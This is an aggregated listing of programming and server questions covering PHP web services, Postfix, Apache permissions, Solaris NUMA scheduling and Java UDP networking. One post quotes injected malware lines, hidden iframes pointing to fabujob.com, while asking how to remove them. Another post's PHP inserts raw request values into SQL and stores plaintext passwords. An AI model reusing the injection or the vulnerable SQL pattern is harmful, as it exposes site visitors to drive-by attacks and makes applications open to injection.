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  • php web services not getting data from iphone application

    - by user317192
    Hi, I am connecting with a php web service from my iphone application, I am doing a simple thing i.e. 1. Getting user inputs for: username password in a text field from the iphone form and sending the same to the PHP Post request web service. At the web service end I receive nothing other than blank fields that are inserted into the MySQL Database....... The code for sample web service is: ***********SAMPLE CODE FOR WEB SERVICES***** mysql_select_db("eventsfast",$con); $username = $_REQUEST['username']; $password = $_REQUEST['password']; echo $username; echo $password; $data = $_REQUEST; $fp = fopen("log.txt", "w"); fwrite($fp, $data['username']); fwrite($fp, $data['password']); $sql="INSERT INTO users(username,password) VALUES('{$username}','{$password}')"; if(!mysql_query($sql,$con)) { die('Error:'.mysql_error()); } echo json_encode("1 record added to users table"); mysql_close($con); echo "test"; ? ***************PHP******** ****** **************IPHONE EVENT CODE******* import "postdatawithphpViewController.h" @implementation postdatawithphpViewController @synthesize userName,password; -(IBAction) postdataid) sender { NSLog(userName.text); NSLog(password.text); NSString * dataTOB=[userName.text stringByAppendingString:password.text]; NSLog(dataTOB); NSData * postData=[dataTOB dataUsingEncoding:NSUTF8StringEncoding allowLossyConversion:YES]; NSString *postLength = [NSString stringWithFormat:@"%d", [postData length]]; NSLog(postLength); NSMutableURLRequest *request = [[[NSMutableURLRequest alloc] init] autorelease]; NSURL *url = [NSURL URLWithString:[NSString stringWithFormat:@"http://localhost:8888/write.php"]]; [request setURL:url]; [request setHTTPMethod:@"POST"]; [request setValue:postLength forHTTPHeaderField:@"Content-Length"]; [request setValue:@"application/x-www-form-urlencoded" forHTTPHeaderField:@"Content-Type"]; [request setHTTPBody:postData]; NSURLResponse *response; NSError *error; [NSURLConnection sendSynchronousRequest:request returningResponse:&response error:&error]; if(error==nil) NSLog(@"Error is nil"); else NSLog(@"Error is not nil"); NSLog(@"success!"); } Please help.............

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  • delphi - how to get the progress of socket.SendStream ?

    - by ass
    hi all ! I use dephi7's client/server socket components to send a file with tfilestream from client to server. I'am able to get the progress of file received at server side, but at client side, how do i get the progress of the file sent ? this is how I send the file: fstream:=tfilestream.Create(opendialog1.FileName,fmOpenRead); clientsocket1.Socket.SendStream(fstream); Thanks and appreciate for any help.

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  • Links from Google appending index.php to my URL

    - by davykiash
    I recently put up a site and I have been doing some SEO. However I noticed that links from Google search append index.php to my links. For example a site page which clearly appears as www.example.com/index/why on search together with correct content sample when clicked on ends up in the new browser as www.example.com/index.php/why Note that on my site all links are redirected to SSL and I use the MVC stucture. Any directives that am may be missing?

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  • show date and time in php

    - by abhishek
    0 down vote hi, I have problem in showing $date="2011-02-10 15:26:20"; in the format of Thursday 10th of February 2011 03:26:20 PM in php. i know there is one date function in php and can be done in one line for example: but via this it will flash today date or so. i want to do it when user check any date and want that date in the format which i mention earlier. please revert me back as soon as posib.... thanks

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  • Connection Timed Out - Simple outbound Postfix for PHP Contact form

    - by BLaZuRE
    Alright, so I only got Postfix for a PHP contact form that will send email to a single . I only want it to send out mail to a single external address ([email protected]). I have domain sub1.sub2.domain.com. I installed Postfix out of the Ubuntu repo, with minimal config changes. I cannot get Postfix to send mail externally (though it succeeds for internal accounts, which is unnecessary). The email simply defers if I generate an email using PHP mail(). If I try to form my own in telnet, right after rcpt to: [email][email protected][/email], I get a postfix/smtpd[31606]: NOQUEUE: reject: RCPT from localhost[127.0.0.1]: 550 5.1.1 <[email protected]>: Recipient address rejected: example.com; from=<root@localhost> to=<[email protected]> proto=ESMTP helo=<localhost> when commenting out default_transport = error and relay_transport = error lines, I get the following: Jun 26 14:33:00 sub1 postfix/smtp[12191]: 2DA06F88206A: to=<[email protected]>, relay=none, delay=514, delays=409/0.01/105/0, dsn=4.4.1, status=deferred (connect to aspmx3.googlemail.com[74.125.127.27]:25: Connection timed out) Jun 26 14:36:36 sub1 postfix/smtp[12225]: connect to mta7.am0.yahoodns.net[98.139.175.224]:25: Connection timed out Jun 26 14:38:00 sub1 postfix/smtp[12225]: 22952F88208E: to=<[email protected]>, relay=none, delay=655, delays=550/0.01/105/0, dsn=4.4.1, status=deferred (connect to mta5.am0.yahoodns.net[67.195.168.230]:25: Connection timed out) My main.cf # See /usr/share/postfix/main.cf.dist for a commented, more complete version # Debian specific: Specifying a file name will cause the first # line of that file to be used as the name. The Debian default # is /etc/mailname. #myorigin = /etc/mailname smtpd_banner = $myhostname ESMTP $mail_name (Ubuntu) biff = no # appending .domain is the MUA's job. append_dot_mydomain = no # Uncomment the next line to generate "delayed mail" warnings #delay_warning_time = 4h readme_directory = no # TLS parameters smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_use_tls=yes smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache # See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for # information on enabling SSL in the smtp client. myhostname = sub1.sub2.domain.com alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases myorigin = /etc/mailname mydestination = sub1.sub2.domain.com, localhost relayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all default_transport = error relay_transport = error Also, a dig sub1.sub2.domain.com MX returns: ; <<>> DiG 9.7.0-P1 <<>> sub1.sub2.domain.com MX ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4853 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;sub1.sub2.domain.com. IN MX ;; AUTHORITY SECTION: sub2.domain.com. 600 IN SOA sub2.domain.com. sub5.domain.com. 2012062915 7200 600 1209600 600 ;; Query time: 0 msec ;; SERVER: x.x.x.x#53(x.x.x.x) ;; WHEN: Fri Jun 29 16:35:00 2012 ;; MSG SIZE rcvd: 84 lsof -i returns empty netstat -t -a | grep LISTEN returns tcp 0 0 localhost:mysql *:* LISTEN tcp 0 0 *:ftp *:* LISTEN tcp 0 0 *:ssh *:* LISTEN tcp 0 0 localhost:ipp *:* LISTEN tcp 0 0 *:smtp *:* LISTEN tcp6 0 0 [::]:netbios-ssn [::]:* LISTEN tcp6 0 0 [::]:www [::]:* LISTEN tcp6 0 0 [::]:ssh [::]:* LISTEN tcp6 0 0 localhost:ipp [::]:* LISTEN tcp6 0 0 [::]:microsoft-ds [::]:* LISTEN

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  • How to give my user permission to add/edit files on local apache server? [duplicate]

    - by Logan
    Possible Duplicate: How to make Apache run as current user I'm setting up my local test server again, and I seem to have forgotten how to successfully set up the LAMP server. I have installed LAMP server via tasksel command and I have configured the /var/www directory according to a guide I've found: After the lamp server installation you will need write permissions to the /var/www directory. Follow these steps to configure permissions. Add your user to the www-data group sudo usermod -a -G www-data <your user name> now add the /var/www folder to the www-data group sudo chgrp -R www-data /var/www now give write permissions to the www-data group sudo chmod -R g+w /var/www So logan user is now part of www-data group and the file/folder permissions look like the output below: logan@computer:/var/www$ ls -lart total 172 -rw-r--r-- 1 www-data www-data 1997 Oct 23 2010 wp-links-opml.php -rw-r--r-- 1 www-data www-data 3177 Nov 1 2010 wp-config-sample.php -rw-r--r-- 1 www-data www-data 3700 Jan 8 2012 wp-trackback.php -rw-r--r-- 1 www-data www-data 271 Jan 8 2012 wp-blog-header.php -rw-r--r-- 1 www-data www-data 395 Jan 8 2012 index.php -rw-r--r-- 1 www-data www-data 3522 Apr 10 2012 wp-comments-post.php -rw-r--r-- 1 www-data www-data 19929 May 6 2012 license.txt -rw-r--r-- 1 www-data www-data 18219 Sep 11 08:27 wp-signup.php -rw-r--r-- 1 www-data www-data 2719 Sep 11 16:11 xmlrpc.php -rw-r--r-- 1 www-data www-data 2718 Sep 23 12:57 wp-cron.php -rw-r--r-- 1 www-data www-data 7723 Sep 25 01:26 wp-mail.php -rw-r--r-- 1 www-data www-data 2408 Oct 26 15:40 wp-load.php -rw-r--r-- 1 www-data www-data 4663 Nov 17 10:11 wp-activate.php -rw-r--r-- 1 www-data www-data 9899 Nov 22 04:52 wp-settings.php -rw-r--r-- 1 www-data www-data 9175 Nov 29 19:57 readme.html -rw-r--r-- 1 www-data www-data 29310 Nov 30 08:40 wp-login.php drwxr-xr-x 14 root root 4096 Dec 24 17:41 .. drwx------ 9 www-data www-data 4096 Dec 26 16:11 wp-admin drwx------ 9 www-data www-data 4096 Dec 26 16:11 wp-includes -rw-rw-rw- 1 www-data www-data 3448 Dec 26 16:14 wp-config.php drwxrwxr-x 5 www-data www-data 4096 Dec 26 16:14 . drwx------ 6 www-data www-data 4096 Dec 26 16:19 wp-content Things work perfectly at http://localhost, I can view the website fine. The thing with this is that I will be working on a plugin for wordpress and I don't want to deal with separate owners under www directory to create or modify files/folders. When I give my user the ownership of /var/www recursively as logan:www-data I can create/modify files but cannot view the http://localhost. I get a Forbidden error. I'm assuming that this is because of the Apache's configuration? Which one is healthier or easier considering this is just a local test website, configuring apache to give user logan to view website and chmod /var/www logan:logan so that I can create files etc. without any sudo commands; or is it easier to configure user groups to get www-data user to act like my logan user? (Idk how that's possible, maybe putting www-data user under logan group?) Please shed some light to this subject. All I want is to be able to create/modifiy files under my user, and yet to be able to successfully view http://localhost I appreciate the help!

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  • 404 Error on a file that exists?

    - by Abs
    Hello all, A script makes a GET request to my URL like so: http://mydomain.com/cgi-bin/uu_ini_status_audios.pl?tmp_sid=b742be1d131c4d32237a9f1fcdca659e&rnd_id=0.2363453360320319 However, I get a 404 returned straight away: The requested URL /cgi-bin/uu_ini_status_audios.pl was not found on this server. But that script exists on my server, I can see the file! It has the correct permissions (I gave it a 777 to be sure). It is also owned by my apache user and its in the group apache. What am I missing?? Thanks for any help on this! Update I thought it would have been a htaccess (rewrite) but I don't think it is anymore. I tried putting a index.php file in there and try to access it via my URL but I can't even do that! I tried this: http://mydoamin.com/cgi-bin/index.php - same 404 error! I get this in myerror log: [Tue Sep 14 14:42:49 2010] [error] [client xx.xxx.xx.xxx] script not found or unable to stat: /var/www/vhosts/mydomain.com/cgi-bin Access_log file: xx.xxx.xx.xxx - - [14/Sep/2010:14:48:25 +0200] "GET /cgi-bin/index.php HTTP/1.1" 404 475 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729)" Update 2 My htaccess file: <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^blog/ - [L] RewriteCond %{HTTP_HOST} ^www\.mydomain\.com$ [NC] RewriteRule ^(.*)$ http://mydomain.com/$1 [R=301,L] RewriteRule ^search/(.*)/(.*)/(.*)/(.*) /search.php?searchfor=$1&sortby=$2&page=$3&searchterm=$4 RewriteRule ^confirmemail/(.*) /confirmemail.php?code=$1 RewriteRule ^resetpassword/(.*) /resetpassword.php?code=$1 RewriteRule ^resendconfirmation/(.*) /resendconfirmation.php?userid=$1 RewriteRule ^categories/ /categories.php RewriteRule ^([-_~*a-zA-Z0-9]+)(\/)?$ /memberprofile.php?username=$1 RewriteRule ^browse/audios/(.*)/(.*)/(.*)/(.*) /audios.php?sortby=$1&filter=$2&page=$3&title=$4 RewriteRule ^browse/categories/audios/(.*)/(.*)/(.*)/(.*) /categoryaudios.php?sortby=$1&filter=$2&page=$3&title=$4 RewriteRule ^audios/(.*)/(.*) /playaudio.php?audioid=$1&title=$2 RewriteRule ^download/audio/(.*)/(.*) /downloadaudio.php?AUDIOID=$1&title=$2 RewriteRule ^members/audios/(.*)/(.*) /memberaudios.php?pid=$1&username=$2 RewriteRule ^syndicate/audios/(.*)/(.*) /syndicateaudios.php?filter=$1&title=$2 </IfModule> Update 3 [root@smydomain ~]# ls -la /var/www/vhosts/mydoamin.com/httpdocs/cgi-bin/ total 60 drwxr-xr-x 3 apache root 4096 Sep 14 14:37 . drwxr-x--- 20 som psaserv 4096 Sep 14 14:40 .. drwxr-xr-x 2 apache root 4096 Sep 7 03:01 configs -rwxrwxrwx 1 apache root 4 Sep 14 14:37 index.php -rwxrwxrwx 1 apache apache 6520 Sep 7 03:01 uu_ini_status_audios.pl -rwxr-xr-x 1 apache root 3215 Sep 7 03:01 uu_lib_audios.pl -rwxr-xr-x 1 apache root 30249 Sep 7 03:01 uu_upload_audios.pl

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  • Bluetooth light not turned on and bluetooth also not working on vostro 1014

    - by Dinesh Kumar
    after running following command dmesg | grep -i bluetooth [ 17.106250] Bluetooth: Core ver 2.16 [ 17.107845] Bluetooth: HCI device and connection manager initialized [ 17.107847] Bluetooth: HCI socket layer initialized [ 17.107849] Bluetooth: L2CAP socket layer initialized [ 17.107857] Bluetooth: SCO socket layer initialized [ 18.853255] Bluetooth: BNEP (Ethernet Emulation) ver 1.3 [ 18.853260] Bluetooth: BNEP filters: protocol multicast [ 18.859350] Bluetooth: RFCOMM TTY layer initialized [ 18.859355] Bluetooth: RFCOMM socket layer initialized [ 18.859357] Bluetooth: RFCOMM ver 1.11 [14998.338293] init: bluetooth main process ended, respawning

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  • Thread placement policies on NUMA systems - update

    - by Dave
    In a prior blog entry I noted that Solaris used a "maximum dispersal" placement policy to assign nascent threads to their initial processors. The general idea is that threads should be placed as far away from each other as possible in the resource topology in order to reduce resource contention between concurrently running threads. This policy assumes that resource contention -- pipelines, memory channel contention, destructive interference in the shared caches, etc -- will likely outweigh (a) any potential communication benefits we might achieve by packing our threads more densely onto a subset of the NUMA nodes, and (b) benefits of NUMA affinity between memory allocated by one thread and accessed by other threads. We want our threads spread widely over the system and not packed together. Conceptually, when placing a new thread, the kernel picks the least loaded node NUMA node (the node with lowest aggregate load average), and then the least loaded core on that node, etc. Furthermore, the kernel places threads onto resources -- sockets, cores, pipelines, etc -- without regard to the thread's process membership. That is, initial placement is process-agnostic. Keep reading, though. This description is incorrect. On Solaris 10 on a SPARC T5440 with 4 x T2+ NUMA nodes, if the system is otherwise unloaded and we launch a process that creates 20 compute-bound concurrent threads, then typically we'll see a perfect balance with 5 threads on each node. We see similar behavior on an 8-node x86 x4800 system, where each node has 8 cores and each core is 2-way hyperthreaded. So far so good; this behavior seems in agreement with the policy I described in the 1st paragraph. I recently tried the same experiment on a 4-node T4-4 running Solaris 11. Both the T5440 and T4-4 are 4-node systems that expose 256 logical thread contexts. To my surprise, all 20 threads were placed onto just one NUMA node while the other 3 nodes remained completely idle. I checked the usual suspects such as processor sets inadvertently left around by colleagues, processors left offline, and power management policies, but the system was configured normally. I then launched multiple concurrent instances of the process, and, interestingly, all the threads from the 1st process landed on one node, all the threads from the 2nd process landed on another node, and so on. This happened even if I interleaved thread creating between the processes, so I was relatively sure the effect didn't related to thread creation time, but rather that placement was a function of process membership. I this point I consulted the Solaris sources and talked with folks in the Solaris group. The new Solaris 11 behavior is intentional. The kernel is no longer using a simple maximum dispersal policy, and thread placement is process membership-aware. Now, even if other nodes are completely unloaded, the kernel will still try to pack new threads onto the home lgroup (socket) of the primordial thread until the load average of that node reaches 50%, after which it will pick the next least loaded node as the process's new favorite node for placement. On the T4-4 we have 64 logical thread contexts (strands) per socket (lgroup), so if we launch 48 concurrent threads we will find 32 placed on one node and 16 on some other node. If we launch 64 threads we'll find 32 and 32. That means we can end up with our threads clustered on a small subset of the nodes in a way that's quite different that what we've seen on Solaris 10. So we have a policy that allows process-aware packing but reverts to spreading threads onto other nodes if a node becomes too saturated. It turns out this policy was enabled in Solaris 10, but certain bugs suppressed the mixed packing/spreading behavior. There are configuration variables in /etc/system that allow us to dial the affinity between nascent threads and their primordial thread up and down: see lgrp_expand_proc_thresh, specifically. In the OpenSolaris source code the key routine is mpo_update_tunables(). This method reads the /etc/system variables and sets up some global variables that will subsequently be used by the dispatcher, which calls lgrp_choose() in lgrp.c to place nascent threads. Lgrp_expand_proc_thresh controls how loaded an lgroup must be before we'll consider homing a process's threads to another lgroup. Tune this value lower to have it spread your process's threads out more. To recap, the 'new' policy is as follows. Threads from the same process are packed onto a subset of the strands of a socket (50% for T-series). Once that socket reaches the 50% threshold the kernel then picks another preferred socket for that process. Threads from unrelated processes are spread across sockets. More precisely, different processes may have different preferred sockets (lgroups). Beware that I've simplified and elided details for the purposes of explication. The truth is in the code. Remarks: It's worth noting that initial thread placement is just that. If there's a gross imbalance between the load on different nodes then the kernel will migrate threads to achieve a better and more even distribution over the set of available nodes. Once a thread runs and gains some affinity for a node, however, it becomes "stickier" under the assumption that the thread has residual cache residency on that node, and that memory allocated by that thread resides on that node given the default "first-touch" page-level NUMA allocation policy. Exactly how the various policies interact and which have precedence under what circumstances could the topic of a future blog entry. The scheduler is work-conserving. The x4800 mentioned above is an interesting system. Each of the 8 sockets houses an Intel 7500-series processor. Each processor has 3 coherent QPI links and the system is arranged as a glueless 8-socket twisted ladder "mobius" topology. Nodes are either 1 or 2 hops distant over the QPI links. As an aside the mapping of logical CPUIDs to physical resources is rather interesting on Solaris/x4800. On SPARC/Solaris the CPUID layout is strictly geographic, with the highest order bits identifying the socket, the next lower bits identifying the core within that socket, following by the pipeline (if present) and finally the logical thread context ("strand") on the core. But on Solaris on the x4800 the CPUID layout is as follows. [6:6] identifies the hyperthread on a core; bits [5:3] identify the socket, or package in Intel terminology; bits [2:0] identify the core within a socket. Such low-level details should be of interest only if you're binding threads -- a bad idea, the kernel typically handles placement best -- or if you're writing NUMA-aware code that's aware of the ambient placement and makes decisions accordingly. Solaris introduced the so-called critical-threads mechanism, which is expressed by putting a thread into the FX scheduling class at priority 60. The critical-threads mechanism applies to placement on cores, not on sockets, however. That is, it's an intra-socket policy, not an inter-socket policy. Solaris 11 introduces the Power Aware Dispatcher (PAD) which packs threads instead of spreading them out in an attempt to be able to keep sockets or cores at lower power levels. Maximum dispersal may be good for performance but is anathema to power management. PAD is off by default, but power management polices constitute yet another confounding factor with respect to scheduling and dispatching. If your threads communicate heavily -- one thread reads cache lines last written by some other thread -- then the new dense packing policy may improve performance by reducing traffic on the coherent interconnect. On the other hand if your threads in your process communicate rarely, then it's possible the new packing policy might result on contention on shared computing resources. Unfortunately there's no simple litmus test that says whether packing or spreading is optimal in a given situation. The answer varies by system load, application, number of threads, and platform hardware characteristics. Currently we don't have the necessary tools and sensoria to decide at runtime, so we're reduced to an empirical approach where we run trials and try to decide on a placement policy. The situation is quite frustrating. Relatedly, it's often hard to determine just the right level of concurrency to optimize throughput. (Understanding constructive vs destructive interference in the shared caches would be a good start. We could augment the lines with a small tag field indicating which strand last installed or accessed a line. Given that, we could augment the CPU with performance counters for misses where a thread evicts a line it installed vs misses where a thread displaces a line installed by some other thread.)

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  • Keep a programming language backwards compatible vs. fixing its flaws

    - by Radu Murzea
    First, some context (stuff that most of you know anyway): Every popular programming language has a clear evolution, most of the time marked by its version: you have Java 5, 6, 7 etc., PHP 5.1, 5.2, 5.3 etc. Releasing a new version makes new APIs available, fixes bugs, adds new features, new frameworks etc. So all in all: it's good. But what about the language's (or platform's) problems? If and when there's something wrong in a language, developers either avoid it (if they can) or they learn to live with it. Now, the developers of those languages get a lot of feedback from the programmers that use them. So it kind of makes sense that, as time (and version numbers) goes by, the problems in those languages will slowly but surely go away. Well, not really. Why? Backwards compatibility, that's why. But why is this so? Read below for a more concrete situation. The best way I can explain my question is to use PHP as an example: PHP is loved thousands of people and hated by just as many thousands. All languages have flaws, but apparently PHP is special. Check out this blog post. It has a very long list of so called flaws in PHP. Now, I'm not a PHP developer (not yet), but I read through all of it and I'm sure that a big chunk of that list are indeed real issues. (Not all of it, since it's potentially subjective). Now, if I was one of the guys who actively develops PHP, I would surely want to fix those problems, one by one. However, if I do that, then code that relies on a particular behaviour of the language will break if it runs on the new version. Summing it up in 2 words: backwards compatibility. What I don't understand is: why should I keep PHP backwards compatible? If I release PHP version 8 with all those problems fixed, can't I just put a big warning on it saying: "Don't run old code on this version !"? There is a thing called deprecation. We had it for years and it works. In the context of PHP: look at how these days people actively discourage the use of the mysql_* functions (and instead recommend mysqli_* and PDO). Deprecation works. We can use it. We should use it. If it works for functions, why shouldn't it work for entire languages? Let's say I (the developer of PHP) do this: Launch a new version of PHP (let's say 8) with all of those flaws fixed New projects will start using that version, since it's much better, clearer, more secure etc. However, in order not to abandon older versions of PHP, I keep releasing updates to it, fixing security issues, bugs etc. This makes sense for reasons that I'm not listing here. It's common practice: look for example at how Oracle kept updating version 5.1.x of MySQL, even though it mostly focused on version 5.5.x. After about 3 or 4 years, I stop updating old versions of PHP and leave them to die. This is fine, since in those 3 or 4 years, most projects will have switched to PHP 8 anyway. My question is: Do all these steps make sense? Would it be so hard to do? If it can be done, then why isn't it done? Yes, the downside is that you break backwards compatibility. But isn't that a price worth paying ? As an upside, in 3 or 4 years you'll have a language that has 90 % of its problems fixed.... a language much more pleasant to work with. Its name will ensure its popularity. EDIT: OK, so I didn't expressed myself correctly when I said that in 3 or 4 years people will move to the hypothetical PHP 8. What I meant was: in 3 or 4 years, people will use PHP 8 if they start a new project.

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  • Too much delay while sending object over UDP to server

    - by RomZes
    I'm getting 4 sec delay when sending objects over UDP. Working on small game and trying to implement multiplayer. For now just trying to synchronize movements of 2 balls on the screen. StartingPoint.java is my server(first player), that receiving serialized objects (coordinates). SecondPlayer.java is client that sending serialized objects to server. When I'm moving my first object it appears 4 seconds later on different screen. StartingPoint.java @Override public void run() { byte[] receiveData = new byte[256]; byte[] sendData = new byte[256]; // DatagramSocket socketS; try { socket = new DatagramSocket(5000); System.out.println("Socket created on "+ port + " port"); } catch (SocketException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } while(true){ b1.update(this); b3.update(); System.out.println("Starting server..."); //// Receiving and deserializing object try { //socket.setSoTimeout(1000); DatagramPacket packet = new DatagramPacket(buf, buf.length); socket.receive(packet); byte[] data = packet.getData(); ByteArrayInputStream in = new ByteArrayInputStream(data); ObjectInputStream is = new ObjectInputStream(in); // socket.setSoTimeout(300); b1 = (Ball) is.readObject(); } catch (IOException | ClassNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } repaint(); try { Thread.sleep(17); } catch (InterruptedException e) { e.printStackTrace(); } SecondPlayer.java @Override public void run() { while(true){ b.update(); networkSend(); repaint(); try { Thread.sleep(17); } catch (InterruptedException e) { e.printStackTrace(); } } public void networkSend(){ // Serialize to a byte array try { ByteArrayOutputStream bStream = new ByteArrayOutputStream(); ObjectOutputStream oo; oo = new ObjectOutputStream(bStream); oo.writeObject(b); oo.flush(); oo.close(); byte[] bufCar = bStream.toByteArray(); //socket = new DatagramSocket(); //socket.setSoTimeout(1000); InetAddress address = InetAddress.getByName("localhost"); DatagramPacket packet = new DatagramPacket(bufCar, bufCar.length, address, port); socket.send(packet); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); }

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  • Code Design question, circular reference across classes?

    - by dsollen
    I have no code here, as this is more of a design question (I assume this is still the best place to ask it). I have a very simple server in java which stores a mapping between certain values and UUID which are to be used by many systems across multiple platforms. It accepts a connection from a client and creates a clientSocket which stores the socket and all the other relevant data unique to that connection. Each clientSocket will run in their own thread and will block on the socket waiting for a read. I expect very little strain on this system, it will rarely get called, but when it does get a call it will need to respond quickly and due to the risk of it having a peak time with multiple calls coming in at once threaded is still better. Each thread has a reference to a Mapper class which stores the mapping of UUID which it's reporting to others (with proper synchronization of course). This all works until I have to add a new UUID to the list. When this happens I want to report to all clients that care about that particular UUID that a new one was added. I can't multicast (limitation of the system I'm running on) so I'm having each socket send the message to the client through the established socket. However, since each thread only knows about the socket it's waiting on I didn't have a clear method of looking up every thread/socket that cares about the data to inform them of the new UUID. Polling is out mostly because it seems a little too convoluted to try to maintain a list of newly added UUID. My solution as of now is to have the 'parent' class which creates the mapper class and spawns all the threads pass itself as an argument to the mapper. Then when the mapper creates a new UUID it can make a call to the parent class telling it to send out updates to all the other sockets that care about the change. I'm concerned that this may be a bad design due to the use of a circular reference; parent has a reference to mapper (to pass it to new ClientSocket threads) and mapper points to parent. It doesn't really feel like a bad design to me but I wanted to check since circular references are suppose to be bad. Note: I realize this means that the thread associated with whatever socket originally received the request that spawned the creation of a UUID is going to pay the 'cost' of outputting to all the other clients that care about the new UUID. I don't care about this; as I said I suspect the client to receive only intermittent messages. It's unlikely for one socket to receive multiple messages at one time, and there won't be that many sockets so it shouldn't take too long to send messages to each of them. Perhaps later I'll fix the fact that I'm saddling higher work load on whatever unfortunate thread gets the first request; but for now I think it's fine.

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  • Java game applet development

    - by RomZes
    I'm getting 4 sec delay when sending objects over UDP. Working on small game and trying to implement multiplayer. For now just trying to synchronize movements of 2 balls on the screen. StartingPoint.java is my server(first player), that receiving serialized objects (coordinates). SecondPlayer.java is client that sending serialized objects to server. When I'm moving my first object it appears 4 seconds later on different screen. StartingPoint.java @Override public void run() { byte[] receiveData = new byte[256]; byte[] sendData = new byte[256]; // DatagramSocket socketS; try { socket = new DatagramSocket(5000); System.out.println("Socket created on "+ port + " port"); } catch (SocketException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } while(true){ b1.update(this); b3.update(); System.out.println("Starting server..."); //// Receiving and deserializing object try { //socket.setSoTimeout(1000); DatagramPacket packet = new DatagramPacket(buf, buf.length); socket.receive(packet); byte[] data = packet.getData(); ByteArrayInputStream in = new ByteArrayInputStream(data); ObjectInputStream is = new ObjectInputStream(in); // socket.setSoTimeout(300); b1 = (Ball) is.readObject(); } catch (IOException | ClassNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } repaint(); try { Thread.sleep(17); } catch (InterruptedException e) { e.printStackTrace(); } SecondPlayer.java @Override public void run() { while(true){ b.update(); networkSend(); repaint(); try { Thread.sleep(17); } catch (InterruptedException e) { e.printStackTrace(); } } public void networkSend(){ // Serialize to a byte array try { ByteArrayOutputStream bStream = new ByteArrayOutputStream(); ObjectOutputStream oo; oo = new ObjectOutputStream(bStream); oo.writeObject(b); oo.flush(); oo.close(); byte[] bufCar = bStream.toByteArray(); //socket = new DatagramSocket(); //socket.setSoTimeout(1000); InetAddress address = InetAddress.getByName("localhost"); DatagramPacket packet = new DatagramPacket(bufCar, bufCar.length, address, port); socket.send(packet); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); }

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  • spawn-fcgi/ fast CGi php crashes without traces in logs, on Gentoo

    - by user39046
    Hello, I recently moved from apache to a Nginx/fastcgi solution, I had it running on a Fedora system and had no problems, but, since i moved all to Gentoo , the Spawn-fCGI / fastcgi php daemon dies, and i can't find out any errors reports on /var/log/messages , so i don't know why this happens. I've seen that fastcgi is somehow different from the fedora distro, on gentoo as it has different conf files and init.d startup scripts, Can someone help me make it more stable? The number of requests that i had isn't any different from the ones I had on fedora, so i use the default conf that comes with the distro..and in about some hours it simply dies... Thank you very much

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  • Slow performance by PHP directory operations on virtual machine (Ubuntu libvirt)

    - by thonixx
    Some days ago I installed an Ubuntu server and two running virtual machines with libvirt. Everything works fine except one performance problem. Everytime when I call a PHP script with directory operations the operations are very slow and not performant. Here is an example: http://zother.white-tiger.ch/ And here you see an example without a directory operation and how fast it is: http://michaeltanner.ch/ It's all on the same virtual server. The virtual machine uses 6 cores (8 are available) and 7500 megabytes RAM (8 Gigabyte are available). The disk image format is qcow2. How can I improve the performance?

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  • beanstalk using php-git on windows client

    - by ntidote
    I am trying to install beanstalk for php using git. I am using a Windows Client machine. I am done with the prerequisite installations , credentials setup. I am following the link http://docs.amazonwebservices.com/elasticbeanstalk/latest/dg/create_deploy_PHP.sdlc.html The following step does not workout (i use git bash for git related commands) From your Git repository directory, type the following command. git aws.config This gives the error git : 'aws.config' is not a git command. Please suggest how to deal with the issue.

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  • set virtual host on Apache2.2 and PHP 5.3

    - by Avinash
    Hi I want to set my Virtual host on Apache 2.2. So, I can access my site using my IP address and Port number. Like http://192.168.101.111:429 for one site, http://192.168.101.111:420 for other site and so on. My machine OS in Windows 7. I have tried below in my httpd.conf file. Listen 192.168.101.83:82 #chaffoteaux <Directory "Path to project folder"> AllowOverride All </Directory> <VirtualHost 192.168.101.83:82> ServerAdmin [email protected] DirectoryIndex index.html index.htm index.php index.html.var DocumentRoot "Path to project folder" #ServerName dummy-host.example.com ErrorLog logs/Zara.log #ErrorLog logs/dummy-host.example.com-error_log #CustomLog logs/dummy-host.example.com-access_log common </VirtualHost> Can you please suggest any thing missing in my configuration. Thanks in advance Avinash

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  • deploying a Python application from a PHP developer

    - by user1218776
    I'm a little confused on the deployment process for Python. Let's say you create a brand new project with virtualenv source bin/activate pip install a few libraries write a simple hello world app pip freeze the dependencies When I deploy this code into a machine, do I need first make sure the machine is sourced before installing dependencies? I don't mean to sound like a total noob but in the PHP world, I don't have to worry about this because it's already part of the project. All the dependencies are registered with the autoloader in place. The steps would be: rsync the files (or any other method) source bin/activate pip install the dependencies from the pip freeze output file It feels awkward, or just wrong and very error prone. What are the correct steps to make? I've searched around but it seems many tutorials/articles make an assumption that anyone reading the article has past python experience (imo).

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  • Search for index.php and index.html and replace string

    - by Jonas
    Hello. I recently had some sort of Malware on my computer that added to all index.php and index.html ON THE WEBSERVER! the following string(s): echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; So the parameter after "click=" always changes. These two were only examples. Is there a way to do that quick and fast? . . EDIT: It is on my webserver, so no use of find...

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  • Proper line-ending for an open-source PHP project

    - by Mahdi
